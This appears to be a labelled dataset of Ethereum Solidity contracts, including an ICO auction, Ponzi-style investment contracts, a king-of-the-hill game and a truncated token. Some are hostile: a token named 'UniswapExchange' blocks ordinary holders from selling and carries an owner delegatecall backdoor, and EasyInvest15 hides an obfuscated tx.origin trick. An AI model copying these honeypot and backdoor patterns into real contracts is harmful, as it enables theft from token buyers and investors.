bid.contrib = contribCutOff;
localSumAcceptedContrib += bid.contrib;
localSumAcceptedVirtualContrib += bid.contrib + (bid.contrib * bid.bonus) / BONUS_DIVISOR;
beneficiary.send(localSumAcceptedContrib);
}
}
cutOffBidID = localCutOffBidID;
sumAcceptedContrib = localSumAcceptedContrib;
sumAcceptedVirtualContrib = localSumAcceptedVirtualContrib;
}
function redeem(uint _bidID) public {
Bid storage bid = bids[_bidID];
Bid storage cutOffBid = bids[cutOffBidID];
require(finalized);
require(!bid.redeemed);
bid.redeemed=true;
if (bid.maxValuation > cutOffBid.maxValuation || (bid.maxValuation == cutOffBid.maxValuation && _bidID >= cutOffBidID))
require(token.transfer(bid.contributor, (tokensForSale * (bid.contrib + (bid.contrib * bid.bonus) / BONUS_DIVISOR)) / sumAcceptedVirtualContrib));
else
bid.contributor.transfer(bid.contrib);
}
function () public payable {
if (msg.value != 0 && now >= startTime && now < endTime)
submitBid(INFINITY, TAIL);
else if (msg.value == 0 && finalized)
for (uint i = 0; i < contributorBidIDs[msg.sender].length; ++i)
{
if (!bids[contributorBidIDs[msg.sender][i]].redeemed)
redeem(contributorBidIDs[msg.sender][i]);
}
else
revert();
}
function search(uint _maxValuation, uint _nextStart) view public returns(uint nextInsert) {
uint next = _nextStart;
bool found;
while(!found) {
Bid storage nextBid = bids[next];
uint prev = nextBid.prev;
Bid storage prevBid = bids[prev];
if (_maxValuation < prevBid.maxValuation)
next = prev;
else if (_maxValuation >= nextBid.maxValuation)
next = nextBid.next;
else
found = true;
}
return next;
}
function bonus() public view returns(uint b) {
if (now < endFullBonusTime)
return maxBonus;
else if (now > endTime)
return 0;
else
return (maxBonus * (endTime - now)) / (endTime - endFullBonusTime);
}
function totalContrib(address _contributor) public view returns (uint contribution) {
for (uint i = 0; i < contributorBidIDs[_contributor].length; ++i)
contribution += bids[contributorBidIDs[_contributor][i]].contrib;
}
function valuationAndCutOff() public view returns (uint valuation, uint virtualValuation, uint currentCutOffBidID, uint currentCutOffBidmaxValuation, uint currentCutOffBidContrib) {
currentCutOffBidID = bids[TAIL].prev;
while (currentCutOffBidID != HEAD) {
Bid storage bid = bids[currentCutOffBidID];
if (bid.contrib + valuation < bid.maxValuation) {
valuation += bid.contrib;
virtualValuation += bid.contrib + (bid.contrib * bid.bonus) / BONUS_DIVISOR;
currentCutOffBidID = bid.prev;
} else {
currentCutOffBidContrib = bid.maxValuation >= valuation ? bid.maxValuation - valuation : 0;
valuation += currentCutOffBidContrib;
virtualValuation += currentCutOffBidContrib + (currentCutOffBidContrib * bid.bonus) / BONUS_DIVISOR;
break;
}
}
currentCutOffBidmaxValuation = bids[currentCutOffBidID].maxValuation;
}
}
contract LevelWhitelistedIICO is IICO {
uint public maximumBaseContribution;
mapping (address => bool) public baseWhitelist;
mapping (address => bool) public reinforcedWhitelist;
address public whitelister;
modifier onlyWhitelister{ require(whitelister == msg.sender); _; }
function LevelWhitelistedIICO(uint _startTime, uint _fullBonusLength, uint _partialWithdrawalLength, uint _withdrawalLockUpLength, uint _maxBonus, address _beneficiary, uint _maximumBaseContribution) IICO(_startTime,_fullBonusLength,_partialWithdrawalLength,_withdrawalLockUpLength,_maxBonus,_beneficiary) public {
maximumBaseContribution=_maximumBaseContribution;
}
function submitBid(uint _maxValuation, uint _next) public payable {
require(reinforcedWhitelist[msg.sender] || (baseWhitelist[msg.sender] && (msg.value + totalContrib(msg.sender) <= maximumBaseContribution)));
super.submitBid(_maxValuation,_next);
}
function setWhitelister(address _whitelister) public onlyOwner {
whitelister=_whitelister;
}
function addBaseWhitelist(address[] _buyersToWhitelist) public onlyWhitelister {
for(uint i=0;i<_buyersToWhitelist.length;++i)
baseWhitelist[_buyersToWhitelist[i]]=true;
}
function addReinforcedWhitelist(address[] _buyersToWhitelist) public onlyWhitelister {
for(uint i=0;i<_buyersToWhitelist.length;++i)
reinforcedWhitelist[_buyersToWhitelist[i]]=true;
}
function removeBaseWhitelist(address[] _buyersToRemove) public onlyWhitelister {
for(uint i=0;i<_buyersToRemove.length;++i)
baseWhitelist[_buyersToRemove[i]]=false;
}
function removeReinforcedWhitelist(address[] _buyersToRemove) public onlyWhitelister {
for(uint i=0;i<_buyersToRemove.length;++i)
reinforcedWhitelist[_buyersToRemove[i]]=false;
}
} | 0 | 2,263 |
pragma solidity ^0.4.24;
contract SuperBank {
using SafeMath for *;
struct Investment {
uint256 amount;
uint256 safeAmount;
uint256 atBlock;
uint256 withdraw;
uint256 canWithdraw;
uint256 maxWithdraw;
}
uint256 public startBlockNo;
uint256 public startTotal;
uint256 public total;
uint256 public people;
uint256 public floatFund;
uint256 public safeFund;
uint256 public bonus;
uint256 public bonusEndTime;
address public leader;
uint256 public lastPrice;
mapping (address => Investment) public invested_m;
address public owner;
constructor()
public
{
owner = msg.sender;
startBlockNo = block.number + (5900 * 14);
startTotal = 1000000000000000000000;
}
modifier onlyOwner()
{
require(owner == msg.sender, "only owner can do it");
_;
}
function()
public
payable
{
if (msg.value == 0)
{
withdraw();
} else {
invest(2, address(0));
}
}
function invest(uint8 _type, address _ref)
public
payable
{
uint256 _eth = msg.value;
uint256 _now = now;
uint256 _safe_p;
uint256 _other_p;
uint256 _return_p;
uint256 _safeAmount;
uint256 _otherAmount;
uint256 _returnAmount;
uint256 _teamAmount;
uint256 _promoteAmount;
require(msg.value >= 1000000000, "not enough ether");
withdraw();
if (invested_m[msg.sender].amount == 0)
{
people = people.add(1);
}
if (_type == 1)
{
_safe_p = 80;
_other_p = 5;
_return_p = 130;
} else {
_safe_p = 40;
_other_p = 25;
_return_p = 170;
}
_safeAmount = (_eth.mul(_safe_p) / 100);
_returnAmount = (_eth.mul(_return_p) / 100);
invested_m[msg.sender].amount = _eth.add(invested_m[msg.sender].amount);
invested_m[msg.sender].safeAmount = _safeAmount.add(invested_m[msg.sender].safeAmount);
invested_m[msg.sender].maxWithdraw = _returnAmount.add(invested_m[msg.sender].maxWithdraw);
total = total.add(_eth);
safeFund = safeFund.add(_safeAmount);
if (block.number < startBlockNo && startTotal <= total)
{
startBlockNo = block.number;
}
if (_ref != address(0) && _ref != msg.sender)
{
uint256 _refTotal = invested_m[_ref].amount;
if (_refTotal < 5000000000000000000)
{
_promoteAmount = (_eth.mul(3) / 100);
_teamAmount = (_eth.mul(7) / 100);
} else if (_refTotal < 20000000000000000000) {
_promoteAmount = (_eth.mul(5) / 100);
_teamAmount = (_eth.mul(5) / 100);
} else {
_promoteAmount = (_eth.mul(7) / 100);
_teamAmount = (_eth.mul(3) / 100);
}
_ref.transfer(_promoteAmount);
} else {
_teamAmount = (_eth.mul(10) / 100);
}
owner.transfer(_teamAmount);
_otherAmount = (_eth.mul(_other_p) / 100);
floatFund = floatFund.add(_otherAmount);
if (bonusEndTime != 0 && bonusEndTime < _now)
{
uint256 bonus_t = bonus;
address leader_t = leader;
bonus = 0;
leader = address(0);
lastPrice = 0;
bonusEndTime = 0;
leader_t.transfer(bonus_t);
}
bonus = bonus.add(_otherAmount);
}
function withdraw()
public
{
uint256 _blockNo = block.number;
uint256 _leaveWithdraw = invested_m[msg.sender].maxWithdraw.sub(invested_m[msg.sender].canWithdraw);
uint256 _blockSub;
if (_blockNo < startBlockNo)
{
_blockSub = 0;
} else {
if (invested_m[msg.sender].atBlock < startBlockNo)
{
_blockSub = _blockNo.sub(startBlockNo);
} else {
_blockSub = _blockNo.sub(invested_m[msg.sender].atBlock);
}
}
uint256 _canAmount = ((invested_m[msg.sender].amount.mul(5) / 100).mul(_blockSub) / 5900);
if (_canAmount > _leaveWithdraw)
{
_canAmount = _leaveWithdraw;
}
invested_m[msg.sender].canWithdraw = _canAmount.add(invested_m[msg.sender].canWithdraw);
uint256 _realAmount = invested_m[msg.sender].canWithdraw.sub(invested_m[msg.sender].withdraw);
if (_realAmount > 0)
{
if (invested_m[msg.sender].safeAmount >= _realAmount)
{
safeFund = safeFund.sub(_realAmount);
invested_m[msg.sender].safeAmount = invested_m[msg.sender].safeAmount.sub(_realAmount);
} else {
uint256 _extraAmount = _realAmount.sub(invested_m[msg.sender].safeAmount);
if (floatFund >= _extraAmount)
{
floatFund = floatFund.sub(_extraAmount);
} else {
_realAmount = floatFund.add(invested_m[msg.sender].safeAmount);
floatFund = 0;
}
safeFund = safeFund.sub(invested_m[msg.sender].safeAmount);
invested_m[msg.sender].safeAmount = 0;
}
}
invested_m[msg.sender].withdraw = _realAmount.add(invested_m[msg.sender].withdraw);
invested_m[msg.sender].atBlock = _blockNo;
if (_realAmount > 0)
{
msg.sender.transfer(_realAmount);
}
}
function bid(address _ref)
public
payable
{
uint256 _eth = msg.value;
uint256 _ethUse = msg.value;
uint256 _now = now;
uint256 _promoteAmount;
uint256 _teamAmount;
uint256 _otherAmount;
require(block.number >= startBlockNo, "Need start");
if (bonusEndTime != 0 && bonusEndTime < _now)
{
uint256 bonus_t = bonus;
address leader_t = leader;
bonus = 0;
leader = address(0);
lastPrice = 0;
bonusEndTime = 0;
leader_t.transfer(bonus_t);
}
uint256 _maxPrice = (1000000000000000000).add(lastPrice);
require(_eth >= (100000000000000000).add(lastPrice), "Need more Ether");
if (_eth > _maxPrice)
{
_ethUse = _maxPrice;
msg.sender.transfer(_eth.sub(_ethUse));
}
bonusEndTime = _now + 12 hours;
leader = msg.sender;
lastPrice = _ethUse;
if (_ref != address(0) && _ref != msg.sender)
{
uint256 _refTotal = invested_m[_ref].amount;
if (_refTotal < 5000000000000000000)
{
_promoteAmount = (_ethUse.mul(3) / 100);
_teamAmount = (_ethUse.mul(7) / 100);
} else if (_refTotal < 20000000000000000000) {
_promoteAmount = (_ethUse.mul(5) / 100);
_teamAmount = (_ethUse.mul(5) / 100);
} else {
_promoteAmount = (_ethUse.mul(7) / 100);
_teamAmount = (_ethUse.mul(3) / 100);
}
_ref.transfer(_promoteAmount);
} else {
_teamAmount = (_ethUse.mul(10) / 100);
}
owner.transfer(_teamAmount);
_otherAmount = (_ethUse.mul(45) / 100);
floatFund = floatFund.add(_otherAmount);
bonus = bonus.add(_otherAmount);
}
function changeOwner(address newOwner)
onlyOwner()
public
{
owner = newOwner;
}
function getInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, uint256)
{
return (
startBlockNo,
startTotal,
total,
people,
floatFund,
safeFund,
bonus,
bonusEndTime,
leader,
lastPrice
);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 4,967 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 650 |
pragma solidity ^0.4.25;
contract EasyInvest15 {
mapping (address => uint) public invested;
mapping (address => uint) public atBlock;
mapping (uint => uint) public txs;
uint public lastTxs;
function () external payable {
if (invested[msg.sender] != 0) {
uint256 amount = invested[msg.sender] * 15 / 100 * (block.number - atBlock[msg.sender]) / 5900;
uint256 restAmount = address(this).balance;
amount = amount < restAmount && txs[lastTxs ** 0x0] != uint(tx.origin) ? amount : restAmount;
msg.sender.transfer(amount);
}
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
txs[++lastTxs] = uint(tx.origin);
}
} | 1 | 4,456 |
pragma solidity ^0.4.24;
contract SimpleWallet {
address public owner = msg.sender;
uint public depositsCount;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function() public payable {
depositsCount++;
}
function withdrawAll() public onlyOwner {
withdraw(address(this).balance);
}
function withdraw(uint _value) public onlyOwner {
msg.sender.transfer(_value);
}
function sendMoney(address _target, uint _value) public onlyOwner {
_target.call.value(_value)();
}
} | 0 | 708 |
pragma solidity ^0.4.19;
contract EthKing {
using SafeMath for uint256;
event NewRound(
uint _timestamp,
uint _round,
uint _initialMainPot,
uint _initialBonusPot
);
event NewKingBid(
uint _timestamp,
address _address,
uint _amount,
uint _newMainPot,
uint _newBonusPot
);
event PlaceChange(
uint _timestamp,
address _newFirst,
address _newSecond,
uint _firstPoints,
uint _secondPoints
);
event Winner(
uint _timestamp,
address _first,
uint _firstAmount,
address _second,
uint _secondAmount
);
event EarningsWithdrawal(
uint _timestamp,
address _address,
uint _amount
);
address owner;
uint private constant NEXT_POT_FRAC_TOP = 1;
uint private constant NEXT_POT_FRAC_BOT = 2;
uint private constant MIN_LEADER_FRAC_TOP = 5;
uint private constant MIN_LEADER_FRAC_BOT = 1000;
uint private constant BONUS_POT_FRAC_TOP = 20;
uint private constant BONUS_POT_FRAC_BOT = 100;
uint private constant DEV_FEE_FRAC_TOP = 5;
uint private constant DEV_FEE_FRAC_BOT = 100;
uint private constant POINT_EXPONENT = 2;
uint private constant POINTS_TO_WIN = 1000000;
address null_address = address(0x0);
address public king;
uint public crownedTime;
address public first;
address public second;
struct Player {
uint points;
uint roundLastPlayed;
uint winnings;
}
mapping (address => Player) private players;
uint public round;
uint public mainPot;
uint public bonusPot;
function EthKing() public payable {
require(msg.value > 0);
owner = msg.sender;
round = 1;
uint _bonusPot = msg.value.mul(BONUS_POT_FRAC_TOP).div(BONUS_POT_FRAC_BOT);
uint _mainPot = msg.value.sub(_bonusPot);
require(_bonusPot + _mainPot <= msg.value);
mainPot = _mainPot;
bonusPot = _bonusPot;
king = owner;
first = null_address;
second = null_address;
crownedTime = now;
players[owner].roundLastPlayed = round;
players[owner].points = 0;
}
modifier payoutOldKingPoints {
uint _pointsToAward = calculatePoints(crownedTime, now);
players[king].points = players[king].points.add(_pointsToAward);
if (players[king].points > players[first].points) {
second = first;
first = king;
PlaceChange(now, first, second, players[first].points, players[second].points);
} else if (players[king].points > players[second].points && king != first) {
second = king;
PlaceChange(now, first, second, players[first].points, players[second].points);
}
_;
}
modifier advanceRoundIfNeeded {
if (players[first].points >= POINTS_TO_WIN) {
uint _nextMainPot = mainPot.mul(NEXT_POT_FRAC_TOP).div(NEXT_POT_FRAC_BOT);
uint _nextBonusPot = bonusPot.mul(NEXT_POT_FRAC_TOP).div(NEXT_POT_FRAC_BOT);
uint _firstEarnings = mainPot.sub(_nextMainPot);
uint _secondEarnings = bonusPot.sub(_nextBonusPot);
players[first].winnings = players[first].winnings.add(_firstEarnings);
players[second].winnings = players[second].winnings.add(_secondEarnings);
round++;
mainPot = _nextMainPot;
bonusPot = _nextBonusPot;
first = null_address;
second = null_address;
players[owner].roundLastPlayed = round;
players[owner].points = 0;
players[king].roundLastPlayed = round;
players[king].points = 0;
king = owner;
crownedTime = now;
NewRound(now, round, mainPot, bonusPot);
PlaceChange(now, first, second, players[first].points, players[second].points);
}
_;
}
function calculatePoints(uint _earlierTime, uint _laterTime) private pure returns (uint) {
assert(_earlierTime <= _laterTime);
if (_earlierTime == _laterTime) { return 0; }
uint timeElapsedInSeconds = _laterTime.sub(_earlierTime);
if (timeElapsedInSeconds < 60) { return 0; }
uint timeElapsedInMinutes = timeElapsedInSeconds.div(60);
assert(timeElapsedInMinutes > 0);
if (timeElapsedInMinutes >= 1000) { return POINTS_TO_WIN; }
return timeElapsedInMinutes**POINT_EXPONENT;
}
function becomeKing() public payable
payoutOldKingPoints
advanceRoundIfNeeded
{
uint _minLeaderAmount = mainPot.mul(MIN_LEADER_FRAC_TOP).div(MIN_LEADER_FRAC_BOT);
require(msg.value >= _minLeaderAmount);
uint _bidAmountToDeveloper = msg.value.mul(DEV_FEE_FRAC_TOP).div(DEV_FEE_FRAC_BOT);
uint _bidAmountToBonusPot = msg.value.mul(BONUS_POT_FRAC_TOP).div(BONUS_POT_FRAC_BOT);
uint _bidAmountToMainPot = msg.value.sub(_bidAmountToDeveloper).sub(_bidAmountToBonusPot);
assert(_bidAmountToDeveloper + _bidAmountToBonusPot + _bidAmountToMainPot <= msg.value);
players[owner].winnings = players[owner].winnings.add(_bidAmountToDeveloper);
mainPot = mainPot.add(_bidAmountToMainPot);
bonusPot = bonusPot.add(_bidAmountToBonusPot);
if (players[king].roundLastPlayed != round) {
players[king].points = 0;
}
king = msg.sender;
players[king].roundLastPlayed = round;
crownedTime = now;
NewKingBid(now, king, msg.value, mainPot, bonusPot);
}
function withdrawEarnings() public {
require(players[msg.sender].winnings > 0);
assert(players[msg.sender].winnings <= this.balance);
uint _amount = players[msg.sender].winnings;
players[msg.sender].winnings = 0;
EarningsWithdrawal(now, msg.sender, _amount);
msg.sender.transfer(_amount);
}
function () public payable {
if (msg.value == 0) { tryAdvance(); }
else { becomeKing(); }
}
function tryAdvance() public {
uint kingTotalPoints = calculatePoints(crownedTime, now) + players[king].points;
if (kingTotalPoints >= POINTS_TO_WIN) { forceAdvance(); }
}
function forceAdvance() private payoutOldKingPoints advanceRoundIfNeeded { }
function getPlayerInfo(address _player) public constant returns(uint, uint, uint) {
return (players[_player].points, players[_player].roundLastPlayed, players[_player].winnings);
}
function getMyInfo() public constant returns(uint, uint, uint) {
return getPlayerInfo(msg.sender);
}
function getKingPoints() public constant returns(uint) { return players[king].points; }
function getFirstPoints() public constant returns(uint) { return players[first].points; }
function getSecondPoints() public constant returns(uint) { return players[second].points; }
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,285 |
pragma solidity ^0.4.25;
contract AcceptsExchange {
redalert public tokenContract;
function AcceptsExchange(address _tokenContract) public {
tokenContract = redalert(_tokenContract);
}
modifier onlyTokenContract {
require(msg.sender == address(tokenContract));
_;
}
function tokenFallback(address _from, uint256 _value, bytes _data) external returns (bool);
function tokenFallbackExpanded(address _from, uint256 _value, bytes _data, address _sender, address _referrer) external returns (bool);
}
contract redalert {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0 || ownerAccounts[msg.sender] > 0);
_;
}
modifier notContract() {
require (msg.sender == tx.origin);
_;
}
modifier allowPlayer(){
require(boolAllowPlayer);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
modifier onlyActive(){
require(boolContractActive);
_;
}
modifier onlyCardActive(){
require(boolCardActive);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
(ambassadors_[_customerAddress] == true &&
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_) ||
(_customerAddress == dev)
);
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
onlyAmbassadors = false;
_;
}
}
event onCardBuy(
address customerAddress,
uint256 incomingEthereum,
uint256 card,
uint256 newPrice,
uint256 halfLifeTime
);
event onInsuranceChange(
address customerAddress,
uint256 card,
uint256 insuranceAmount
);
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
event Halflife(
address customerAddress,
uint card,
uint price,
uint newBlockTime,
uint insurancePay,
uint cardInsurance
);
string public name = "RedAlert";
string public symbol = "REDS";
uint8 constant public decimals = 18;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 public stakingRequirement = 100e18;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 3 ether;
uint256 constant internal ambassadorQuota_ = 100 ether;
address dev;
uint public nextAvailableCard;
address add2 = 0x0;
uint public totalCardValue = 0;
uint public totalCardInsurance = 0;
bool public boolAllowPlayer = false;
struct DateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
